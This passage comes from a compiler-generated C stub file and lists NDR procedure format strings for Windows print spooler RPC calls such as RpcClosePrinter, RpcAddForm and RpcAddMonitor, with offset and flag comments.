0x0, /* 0 */ 913 | /* 996 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 914 | /* 998 */ NdrFcShort( 0x0 ), /* 0 */ 915 | /* 1000 */ NdrFcShort( 0x8 ), /* 8 */ 916 | /* 1002 */ 0x44, /* Oi2 Flags: has return, has ext, */ 917 | 0x1, /* 1 */ 918 | /* 1004 */ 0x8, /* 8 */ 919 | 0x1, /* Ext Flags: new corr desc, */ 920 | /* 1006 */ NdrFcShort( 0x0 ), /* 0 */ 921 | /* 1008 */ NdrFcShort( 0x0 ), /* 0 */ 922 | /* 1010 */ NdrFcShort( 0x0 ), /* 0 */ 923 | 924 | /* Return value */ 925 | 926 | /* 1012 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 927 | /* 1014 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 928 | /* 1016 */ 0x8, /* FC_LONG */ 929 | 0x0, /* 0 */ 930 | 931 | /* Procedure RpcClosePrinter */ 932 | 933 | /* 1018 */ 0x0, /* 0 */ 934 | 0x48, /* Old Flags: */ 935 | /* 1020 */ NdrFcLong( 0x0 ), /* 0 */ 936 | /* 1024 */ NdrFcShort( 0x1d ), /* 29 */ 937 | /* 1026 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 938 | /* 1028 */ 0x30, /* FC_BIND_CONTEXT */ 939 | 0xe0, /* Ctxt flags: via ptr, in, out, */ 940 | /* 1030 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 941 | /* 1032 */ 0x0, /* 0 */ 942 | 0x0, /* 0 */ 943 | /* 1034 */ NdrFcShort( 0x38 ), /* 56 */ 944 | /* 1036 */ NdrFcShort( 0x40 ), /* 64 */ 945 | /* 1038 */ 0x44, /* Oi2 Flags: has return, has ext, */ 946 | 0x2, /* 2 */ 947 | /* 1040 */ 0x8, /* 8 */ 948 | 0x1, /* Ext Flags: new corr desc, */ 949 | /* 1042 */ NdrFcShort( 0x0 ), /* 0 */ 950 | /* 1044 */ NdrFcShort( 0x0 ), /* 0 */ 951 | /* 1046 */ NdrFcShort( 0x0 ), /* 0 */ 952 | 953 | /* Parameter phPrinter */ 954 | 955 | /* 1048 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ 956 | /* 1050 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 957 | /* 1052 */ NdrFcShort( 0x36 ), /* Type Offset=54 */ 958 | 959 | /* Return value */ 960 | 961 | /* 1054 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 962 | /* 1056 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 963 | /* 1058 */ 0x8, /* FC_LONG */ 964 | 0x0, /* 0 */ 965 | 966 | /* Procedure RpcAddForm */ 967 | 968 | /* 1060 */ 0x0, /* 0 */ 969 | 0x48, /* Old Flags: */ 970 | /* 1062 */ NdrFcLong( 0x0 ), /* 0 */ 971 | /* 1066 */ NdrFcShort( 0x1e ), /* 30 */ 972 | /* 1068 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 973 | /* 1070 */ 0x32, /* FC_BIND_PRIMITIVE */ 974 | 0x0, /* 0 */ 975 | /* 1072 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 976 | /* 1074 */ NdrFcShort( 0x0 ), /* 0 */ 977 | /* 1076 */ NdrFcShort( 0x8 ), /* 8 */ 978 | /* 1078 */ 0x44, /* Oi2 Flags: has return, has ext, */ 979 | 0x1, /* 1 */ 980 | /* 1080 */ 0x8, /* 8 */ 981 | 0x1, /* Ext Flags: new corr desc, */ 982 | /* 1082 */ NdrFcShort( 0x0 ), /* 0 */ 983 | /* 1084 */ NdrFcShort( 0x0 ), /* 0 */ 984 | /* 1086 */ NdrFcShort( 0x0 ), /* 0 */ 985 | 986 | /* Return value */ 987 | 988 | /* 1088 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 989 | /* 1090 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 990 | /* 1092 */ 0x8, /* FC_LONG */ 991 | 0x0, /* 0 */ 992 | 993 | /* Procedure RpcDeleteForm */ 994 | 995 | /* 1094 */ 0x0, /* 0 */ 996 | 0x48, /* Old Flags: */ 997 | /* 1096 */ NdrFcLong( 0x0 ), /* 0 */ 998 | /* 1100 */ NdrFcShort( 0x1f ), /* 31 */ 999 | /* 1102 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1000 | /* 1104 */ 0x32, /* FC_BIND_PRIMITIVE */ 1001 | 0x0, /* 0 */ 1002 | /* 1106 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1003 | /* 1108 */ NdrFcShort( 0x0 ), /* 0 */ 1004 | /* 1110 */ NdrFcShort( 0x8 ), /* 8 */ 1005 | /* 1112 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1006 | 0x1, /* 1 */ 1007 | /* 1114 */ 0x8, /* 8 */ 1008 | 0x1, /* Ext Flags: new corr desc, */ 1009 | /* 1116 */ NdrFcShort( 0x0 ), /* 0 */ 1010 | /* 1118 */ NdrFcShort( 0x0 ), /* 0 */ 1011 | /* 1120 */ NdrFcShort( 0x0 ), /* 0 */ 1012 | 1013 | /* Return value */ 1014 | 1015 | /* 1122 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1016 | /* 1124 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1017 | /* 1126 */ 0x8, /* FC_LONG */ 1018 | 0x0, /* 0 */ 1019 | 1020 | /* Procedure RpcGetForm */ 1021 | 1022 | /* 1128 */ 0x0, /* 0 */ 1023 | 0x48, /* Old Flags: */ 1024 | /* 1130 */ NdrFcLong( 0x0 ), /* 0 */ 1025 | /* 1134 */ NdrFcShort( 0x20 ), /* 32 */ 1026 | /* 1136 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1027 | /* 1138 */ 0x32, /* FC_BIND_PRIMITIVE */ 1028 | 0x0, /* 0 */ 1029 | /* 1140 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1030 | /* 1142 */ NdrFcShort( 0x0 ), /* 0 */ 1031 | /* 1144 */ NdrFcShort( 0x8 ), /* 8 */ 1032 | /* 1146 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1033 | 0x1, /* 1 */ 1034 | /* 1148 */ 0x8, /* 8 */ 1035 | 0x1, /* Ext Flags: new corr desc, */ 1036 | /* 1150 */ NdrFcShort( 0x0 ), /* 0 */ 1037 | /* 1152 */ NdrFcShort( 0x0 ), /* 0 */ 1038 | /* 1154 */ NdrFcShort( 0x0 ), /* 0 */ 1039 | 1040 | /* Return value */ 1041 | 1042 | /* 1156 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1043 | /* 1158 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1044 | /* 1160 */ 0x8, /* FC_LONG */ 1045 | 0x0, /* 0 */ 1046 | 1047 | /* Procedure RpcSetForm */ 1048 | 1049 | /* 1162 */ 0x0, /* 0 */ 1050 | 0x48, /* Old Flags: */ 1051 | /* 1164 */ NdrFcLong( 0x0 ), /* 0 */ 1052 | /* 1168 */ NdrFcShort( 0x21 ), /* 33 */ 1053 | /* 1170 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1054 | /* 1172 */ 0x32, /* FC_BIND_PRIMITIVE */ 1055 | 0x0, /* 0 */ 1056 | /* 1174 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1057 | /* 1176 */ NdrFcShort( 0x0 ), /* 0 */ 1058 | /* 1178 */ NdrFcShort( 0x8 ), /* 8 */ 1059 | /* 1180 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1060 | 0x1, /* 1 */ 1061 | /* 1182 */ 0x8, /* 8 */ 1062 | 0x1, /* Ext Flags: new corr desc, */ 1063 | /* 1184 */ NdrFcShort( 0x0 ), /* 0 */ 1064 | /* 1186 */ NdrFcShort( 0x0 ), /* 0 */ 1065 | /* 1188 */ NdrFcShort( 0x0 ), /* 0 */ 1066 | 1067 | /* Return value */ 1068 | 1069 | /* 1190 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1070 | /* 1192 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1071 | /* 1194 */ 0x8, /* FC_LONG */ 1072 | 0x0, /* 0 */ 1073 | 1074 | /* Procedure RpcEnumForms */ 1075 | 1076 | /* 1196 */ 0x0, /* 0 */ 1077 | 0x48, /* Old Flags: */ 1078 | /* 1198 */ NdrFcLong( 0x0 ), /* 0 */ 1079 | /* 1202 */ NdrFcShort( 0x22 ), /* 34 */ 1080 | /* 1204 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1081 | /* 1206 */ 0x32, /* FC_BIND_PRIMITIVE */ 1082 | 0x0, /* 0 */ 1083 | /* 1208 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1084 | /* 1210 */ NdrFcShort( 0x0 ), /* 0 */ 1085 | /* 1212 */ NdrFcShort( 0x8 ), /* 8 */ 1086 | /* 1214 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1087 | 0x1, /* 1 */ 1088 | /* 1216 */ 0x8, /* 8 */ 1089 | 0x1, /* Ext Flags: new corr desc, */ 1090 | /* 1218 */ NdrFcShort( 0x0 ), /* 0 */ 1091 | /* 1220 */ NdrFcShort( 0x0 ), /* 0 */ 1092 | /* 1222 */ NdrFcShort( 0x0 ), /* 0 */ 1093 | 1094 | /* Return value */ 1095 | 1096 | /* 1224 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1097 | /* 1226 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1098 | /* 1228 */ 0x8, /* FC_LONG */ 1099 | 0x0, /* 0 */ 1100 | 1101 | /* Procedure RpcEnumPorts */ 1102 | 1103 | /* 1230 */ 0x0, /* 0 */ 1104 | 0x48, /* Old Flags: */ 1105 | /* 1232 */ NdrFcLong( 0x0 ), /* 0 */ 1106 | /* 1236 */ NdrFcShort( 0x23 ), /* 35 */ 1107 | /* 1238 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1108 | /* 1240 */ 0x32, /* FC_BIND_PRIMITIVE */ 1109 | 0x0, /* 0 */ 1110 | /* 1242 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1111 | /* 1244 */ NdrFcShort( 0x0 ), /* 0 */ 1112 | /* 1246 */ NdrFcShort( 0x8 ), /* 8 */ 1113 | /* 1248 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1114 | 0x1, /* 1 */ 1115 | /* 1250 */ 0x8, /* 8 */ 1116 | 0x1, /* Ext Flags: new corr desc, */ 1117 | /* 1252 */ NdrFcShort( 0x0 ), /* 0 */ 1118 | /* 1254 */ NdrFcShort( 0x0 ), /* 0 */ 1119 | /* 1256 */ NdrFcShort( 0x0 ), /* 0 */ 1120 | 1121 | /* Return value */ 1122 | 1123 | /* 1258 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1124 | /* 1260 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1125 | /* 1262 */ 0x8, /* FC_LONG */ 1126 | 0x0, /* 0 */ 1127 | 1128 | /* Procedure RpcEnumMonitors */ 1129 | 1130 | /* 1264 */ 0x0, /* 0 */ 1131 | 0x48, /* Old Flags: */ 1132 | /* 1266 */ NdrFcLong( 0x0 ), /* 0 */ 1133 | /* 1270 */ NdrFcShort( 0x24 ), /* 36 */ 1134 | /* 1272 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1135 | /* 1274 */ 0x32, /* FC_BIND_PRIMITIVE */ 1136 | 0x0, /* 0 */ 1137 | /* 1276 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1138 | /* 1278 */ NdrFcShort( 0x0 ), /* 0 */ 1139 | /* 1280 */ NdrFcShort( 0x8 ), /* 8 */ 1140 | /* 1282 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1141 | 0x1, /* 1 */ 1142 | /* 1284 */ 0x8, /* 8 */ 1143 | 0x1, /* Ext Flags: new corr desc, */ 1144 | /* 1286 */ NdrFcShort( 0x0 ), /* 0 */ 1145 | /* 1288 */ NdrFcShort( 0x0 ), /* 0 */ 1146 | /* 1290 */ NdrFcShort( 0x0 ), /* 0 */ 1147 | 1148 | /* Return value */ 1149 | 1150 | /* 1292 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1151 | /* 1294 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1152 | /* 1296 */ 0x8, /* FC_LONG */ 1153 | 0x0, /* 0 */ 1154 | 1155 | /* Procedure Opnum37NotUsedOnWire */ 1156 | 1157 | /* 1298 */ 0x0, /* 0 */ 1158 | 0x48, /* Old Flags: */ 1159 | /* 1300 */ NdrFcLong( 0x0 ), /* 0 */ 1160 | /* 1304 */ NdrFcShort( 0x25 ), /* 37 */ 1161 | /* 1306 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1162 | /* 1308 */ 0x32, /* FC_BIND_PRIMITIVE */ 1163 | 0x0, /* 0 */ 1164 | /* 1310 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1165 | /* 1312 */ NdrFcShort( 0x0 ), /* 0 */ 1166 | /* 1314 */ NdrFcShort( 0x0 ), /* 0 */ 1167 | /* 1316 */ 0x40, /* Oi2 Flags: has ext, */ 1168 | 0x0, /* 0 */ 1169 | /* 1318 */ 0x8, /* 8 */ 1170 | 0x1, /* Ext Flags: new corr desc, */ 1171 | /* 1320 */ NdrFcShort( 0x0 ), /* 0 */ 1172 | /* 1322 */ NdrFcShort( 0x0 ), /* 0 */ 1173 | /* 1324 */ NdrFcShort( 0x0 ), /* 0 */ 1174 | 1175 | /* Procedure Opnum38NotUsedOnWire */ 1176 | 1177 | /* 1326 */ 0x0, /* 0 */ 1178 | 0x48, /* Old Flags: */ 1179 | /* 1328 */ NdrFcLong( 0x0 ), /* 0 */ 1180 | /* 1332 */ NdrFcShort( 0x26 ), /* 38 */ 1181 | /* 1334 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1182 | /* 1336 */ 0x32, /* FC_BIND_PRIMITIVE */ 1183 | 0x0, /* 0 */ 1184 | /* 1338 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1185 | /* 1340 */ NdrFcShort( 0x0 ), /* 0 */ 1186 | /* 1342 */ NdrFcShort( 0x0 ), /* 0 */ 1187 | /* 1344 */ 0x40, /* Oi2 Flags: has ext, */ 1188 | 0x0, /* 0 */ 1189 | /* 1346 */ 0x8, /* 8 */ 1190 | 0x1, /* Ext Flags: new corr desc, */ 1191 | /* 1348 */ NdrFcShort( 0x0 ), /* 0 */ 1192 | /* 1350 */ NdrFcShort( 0x0 ), /* 0 */ 1193 | /* 1352 */ NdrFcShort( 0x0 ), /* 0 */ 1194 | 1195 | /* Procedure RpcDeletePort */ 1196 | 1197 | /* 1354 */ 0x0, /* 0 */ 1198 | 0x48, /* Old Flags: */ 1199 | /* 1356 */ NdrFcLong( 0x0 ), /* 0 */ 1200 | /* 1360 */ NdrFcShort( 0x27 ), /* 39 */ 1201 | /* 1362 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1202 | /* 1364 */ 0x32, /* FC_BIND_PRIMITIVE */ 1203 | 0x0, /* 0 */ 1204 | /* 1366 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1205 | /* 1368 */ NdrFcShort( 0x0 ), /* 0 */ 1206 | /* 1370 */ NdrFcShort( 0x8 ), /* 8 */ 1207 | /* 1372 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1208 | 0x1, /* 1 */ 1209 | /* 1374 */ 0x8, /* 8 */ 1210 | 0x1, /* Ext Flags: new corr desc, */ 1211 | /* 1376 */ NdrFcShort( 0x0 ), /* 0 */ 1212 | /* 1378 */ NdrFcShort( 0x0 ), /* 0 */ 1213 | /* 1380 */ NdrFcShort( 0x0 ), /* 0 */ 1214 | 1215 | /* Return value */ 1216 | 1217 | /* 1382 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1218 | /* 1384 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1219 | /* 1386 */ 0x8, /* FC_LONG */ 1220 | 0x0, /* 0 */ 1221 | 1222 | /* Procedure RpcCreatePrinterIC */ 1223 | 1224 | /* 1388 */ 0x0, /* 0 */ 1225 | 0x48, /* Old Flags: */ 1226 | /* 1390 */ NdrFcLong( 0x0 ), /* 0 */ 1227 | /* 1394 */ NdrFcShort( 0x28 ), /* 40 */ 1228 | /* 1396 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1229 | /* 1398 */ 0x32, /* FC_BIND_PRIMITIVE */ 1230 | 0x0, /* 0 */ 1231 | /* 1400 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1232 | /* 1402 */ NdrFcShort( 0x0 ), /* 0 */ 1233 | /* 1404 */ NdrFcShort( 0x8 ), /* 8 */ 1234 | /* 1406 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1235 | 0x1, /* 1 */ 1236 | /* 1408 */ 0x8, /* 8 */ 1237 | 0x1, /* Ext Flags: new corr desc, */ 1238 | /* 1410 */ NdrFcShort( 0x0 ), /* 0 */ 1239 | /* 1412 */ NdrFcShort( 0x0 ), /* 0 */ 1240 | /* 1414 */ NdrFcShort( 0x0 ), /* 0 */ 1241 | 1242 | /* Return value */ 1243 | 1244 | /* 1416 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1245 | /* 1418 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1246 | /* 1420 */ 0x8, /* FC_LONG */ 1247 | 0x0, /* 0 */ 1248 | 1249 | /* Procedure RpcPlayGdiScriptOnPrinterIC */ 1250 | 1251 | /* 1422 */ 0x0, /* 0 */ 1252 | 0x48, /* Old Flags: */ 1253 | /* 1424 */ NdrFcLong( 0x0 ), /* 0 */ 1254 | /* 1428 */ NdrFcShort( 0x29 ), /* 41 */ 1255 | /* 1430 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1256 | /* 1432 */ 0x32, /* FC_BIND_PRIMITIVE */ 1257 | 0x0, /* 0 */ 1258 | /* 1434 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1259 | /* 1436 */ NdrFcShort( 0x0 ), /* 0 */ 1260 | /* 1438 */ NdrFcShort( 0x8 ), /* 8 */ 1261 | /* 1440 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1262 | 0x1, /* 1 */ 1263 | /* 1442 */ 0x8, /* 8 */ 1264 | 0x1, /* Ext Flags: new corr desc, */ 1265 | /* 1444 */ NdrFcShort( 0x0 ), /* 0 */ 1266 | /* 1446 */ NdrFcShort( 0x0 ), /* 0 */ 1267 | /* 1448 */ NdrFcShort( 0x0 ), /* 0 */ 1268 | 1269 | /* Return value */ 1270 | 1271 | /* 1450 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1272 | /* 1452 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1273 | /* 1454 */ 0x8, /* FC_LONG */ 1274 | 0x0, /* 0 */ 1275 | 1276 | /* Procedure RpcDeletePrinterIC */ 1277 | 1278 | /* 1456 */ 0x0, /* 0 */ 1279 | 0x48, /* Old Flags: */ 1280 | /* 1458 */ NdrFcLong( 0x0 ), /* 0 */ 1281 | /* 1462 */ NdrFcShort( 0x2a ), /* 42 */ 1282 | /* 1464 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1283 | /* 1466 */ 0x32, /* FC_BIND_PRIMITIVE */ 1284 | 0x0, /* 0 */ 1285 | /* 1468 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1286 | /* 1470 */ NdrFcShort( 0x0 ), /* 0 */ 1287 | /* 1472 */ NdrFcShort( 0x8 ), /* 8 */ 1288 | /* 1474 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1289 | 0x1, /* 1 */ 1290 | /* 1476 */ 0x8, /* 8 */ 1291 | 0x1, /* Ext Flags: new corr desc, */ 1292 | /* 1478 */ NdrFcShort( 0x0 ), /* 0 */ 1293 | /* 1480 */ NdrFcShort( 0x0 ), /* 0 */ 1294 | /* 1482 */ NdrFcShort( 0x0 ), /* 0 */ 1295 | 1296 | /* Return value */ 1297 | 1298 | /* 1484 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1299 | /* 1486 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1300 | /* 1488 */ 0x8, /* FC_LONG */ 1301 | 0x0, /* 0 */ 1302 | 1303 | /* Procedure Opnum43NotUsedOnWire */ 1304 | 1305 | /* 1490 */ 0x0, /* 0 */ 1306 | 0x48, /* Old Flags: */ 1307 | /* 1492 */ NdrFcLong( 0x0 ), /* 0 */ 1308 | /* 1496 */ NdrFcShort( 0x2b ), /* 43 */ 1309 | /* 1498 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1310 | /* 1500 */ 0x32, /* FC_BIND_PRIMITIVE */ 1311 | 0x0, /* 0 */ 1312 | /* 1502 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1313 | /* 1504 */ NdrFcShort( 0x0 ), /* 0 */ 1314 | /* 1506 */ NdrFcShort( 0x0 ), /* 0 */ 1315 | /* 1508 */ 0x40, /* Oi2 Flags: has ext, */ 1316 | 0x0, /* 0 */ 1317 | /* 1510 */ 0x8, /* 8 */ 1318 | 0x1, /* Ext Flags: new corr desc, */ 1319 | /* 1512 */ NdrFcShort( 0x0 ), /* 0 */ 1320 | /* 1514 */ NdrFcShort( 0x0 ), /* 0 */ 1321 | /* 1516 */ NdrFcShort( 0x0 ), /* 0 */ 1322 | 1323 | /* Procedure Opnum44NotUsedOnWire */ 1324 | 1325 | /* 1518 */ 0x0, /* 0 */ 1326 | 0x48, /* Old Flags: */ 1327 | /* 1520 */ NdrFcLong( 0x0 ), /* 0 */ 1328 | /* 1524 */ NdrFcShort( 0x2c ), /* 44 */ 1329 | /* 1526 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1330 | /* 1528 */ 0x32, /* FC_BIND_PRIMITIVE */ 1331 | 0x0, /* 0 */ 1332 | /* 1530 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1333 | /* 1532 */ NdrFcShort( 0x0 ), /* 0 */ 1334 | /* 1534 */ NdrFcShort( 0x0 ), /* 0 */ 1335 | /* 1536 */ 0x40, /* Oi2 Flags: has ext, */ 1336 | 0x0, /* 0 */ 1337 | /* 1538 */ 0x8, /* 8 */ 1338 | 0x1, /* Ext Flags: new corr desc, */ 1339 | /* 1540 */ NdrFcShort( 0x0 ), /* 0 */ 1340 | /* 1542 */ NdrFcShort( 0x0 ), /* 0 */ 1341 | /* 1544 */ NdrFcShort( 0x0 ), /* 0 */ 1342 | 1343 | /* Procedure Opnum45NotUsedOnWire */ 1344 | 1345 | /* 1546 */ 0x0, /* 0 */ 1346 | 0x48, /* Old Flags: */ 1347 | /* 1548 */ NdrFcLong( 0x0 ), /* 0 */ 1348 | /* 1552 */ NdrFcShort( 0x2d ), /* 45 */ 1349 | /* 1554 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1350 | /* 1556 */ 0x32, /* FC_BIND_PRIMITIVE */ 1351 | 0x0, /* 0 */ 1352 | /* 1558 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1353 | /* 1560 */ NdrFcShort( 0x0 ), /* 0 */ 1354 | /* 1562 */ NdrFcShort( 0x0 ), /* 0 */ 1355 | /* 1564 */ 0x40, /* Oi2 Flags: has ext, */ 1356 | 0x0, /* 0 */ 1357 | /* 1566 */ 0x8, /* 8 */ 1358 | 0x1, /* Ext Flags: new corr desc, */ 1359 | /* 1568 */ NdrFcShort( 0x0 ), /* 0 */ 1360 | /* 1570 */ NdrFcShort( 0x0 ), /* 0 */ 1361 | /* 1572 */ NdrFcShort( 0x0 ), /* 0 */ 1362 | 1363 | /* Procedure RpcAddMonitor */ 1364 | 1365 | /* 1574 */ 0x0, /* 0 */ 1366 | 0x48, /* Old Flags: */ 1367 | /* 1576 */ NdrFcLong( 0x0 ), /* 0 */ 1368 | /* 1580 */ NdrFcShort( 0x2e ), /* 46 */ 1369 | /* 1582 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1370 | /* 1584 */ 0x32, /* FC_BIND_PRIMITIVE */ 1371 | 0x0, /* 0 */ 1372 | /* 1586 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1373 | /* 1588 */ NdrFcShort( 0x0 ), /* 0 */ 1374 | /* 1590 */ NdrFcShort( 0x8 ), /* 8 */ 1375 | /* 1592 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1376 | 0x1, /* 1 */ 1377 | /* 1594 */ 0x8, /* 8 */ 1378 | 0x1, /* Ext Flags: new corr desc, */ 1379 | /* 1596 */ NdrFcShort( 0x0 ), /* 0 */ 1380 | /* 1598 */ NdrFcShort( 0x0 ), /* 0 */ 1381 | /* 1600 */ NdrFcShort( 0x0 ), /* 0 */ 1382 | 1383 | /* Return value */ 1384 | 1385 | /* 1602 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1386 | /* 1604 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1387 | /* 1606 */ 0x8, /* FC_LONG */ 1388 | 0x0, /* 0 */ 1389 | 1390 | /* Procedure RpcDeleteMonitor */ 1391 | 1392 | /* 1608 */ 0x0, /* 0 */ 1393 | 0x48, /* Old Flags: */ 1394 | /* 1610 */ NdrFcLong( 0x0 ), /* 0 */ 1395 | /* 1614 */ NdrFcShort( 0x2f ), /* 47 */ 1396 | /* 1616 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1397 | /* 1618 */ 0x32, /* FC_BIND_PRIMITIVE */ 1398 | 0x0, /* 0 */ 1399 | /* 1620 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1400 | /* 1622 */ NdrFcShort( 0x0 ), /* 0 */ 1401 | /* 1624 */ NdrFcShort( 0x8 ), /* 8 */ 1402 | /* 1626 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1403 | 0x1, /* 1 */ 1404 | /* 1628 */ 0x8, /* 8 */ 1405 | 0x1, /* Ext Flags: new corr desc, */ 1406 | /* 1630 */ NdrFcShort( 0x0 ), /* 0 */ 1407 | /* 1632 */ NdrFcShort( 0x0 ), /* 0 */ 1408 | /* 1634 */ NdrFcShort( 0x0 ), /* 0 */ 1409 | 1410 | /* Return value */ 1411 | 1412 | /* 1636 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1413 | /* 1638 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1414 | /* 1640 */ 0x8, /* FC_LONG */ 1415 | 0x0, /* 0 */ 1416 | 1417 | /* Procedure RpcDeletePrintProcessor */ 1418 | 1419 | /* 1642 */ 0x0, /* 0 */ 1420 | 0x48, /* Old Flags: */ 1421 | /* 1644 */ NdrFcLong( 0x0 ), /* 0 */ 1422 | /* 1648 */ NdrFcShort( 0x30 ), /* 48 */ 1423 | /* 1650 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1424 | /* 1652 */ 0x32, /* FC_BIND_PRIMITIVE */ 1425 | 0x0, /* 0 */ 1426 | /* 1654 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1427 | /* 1656 */ NdrFcShort( 0x0 ), /* 0 */ 1428 | /* 1658 */ NdrFcShort( 0x8 ), /* 8 */ 1429 | /* 1660 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1430 | 0x1, /* 1 */ 1431 | /* 1662 */ 0x8, /* 8 */ 1432 | 0x1, /* Ext Flags: new corr desc, */ 1433 | /* 1664 */ NdrFcShort( 0x0 ), /* 0 */ 1434 | /* 1666 */ NdrFcShort( 0x0 ), /* 0 */ 1435 | /* 1668 */ NdrFcShort( 0x0 ), /* 0 */ 1436 | 1437 | /* Return value */ 1438 | 1439 | /* 1670 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1440 | /* 1672 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1441 | /* 1674 */ 0x8, /* FC_LONG */ 1442 | 0x0, /* 0 */ 1443 | 1444 | /* Procedure Opnum49NotUsedOnWire */ 1445 | 1446 | /* 1676 */ 0x0, /* 0 */ 1447 | 0x48, /* Old Flags: */ 1448 | /* 1678 */ NdrFcLong( 0x0 ), /* 0 */ 1449 | /* 1682 */ NdrFcShort( 0x31 ), /* 49 */ 1450 | /* 1684 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1451 | /* 1686 */ 0x32, /* FC_BIND_PRIMITIVE */ 1452 | 0x0, /* 0 */ 1453 | /* 1688 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1454 | /* 1690 */ NdrFcShort( 0x0 ), /* 0 */ 1455 | /* 1692 */ NdrFcShort( 0x0 ), /* 0 */ 1456 | /* 1694 */ 0x40, /* Oi2 Flags: has ext, */ 1457 | 0x0, /* 0 */ 1458 | /* 1696 */ 0x8, /* 8 */ 1459 | 0x1, /* Ext Flags: new corr desc, */ 1460 | /* 1698 */ NdrFcShort( 0x0 ), /* 0 */ 1461 | 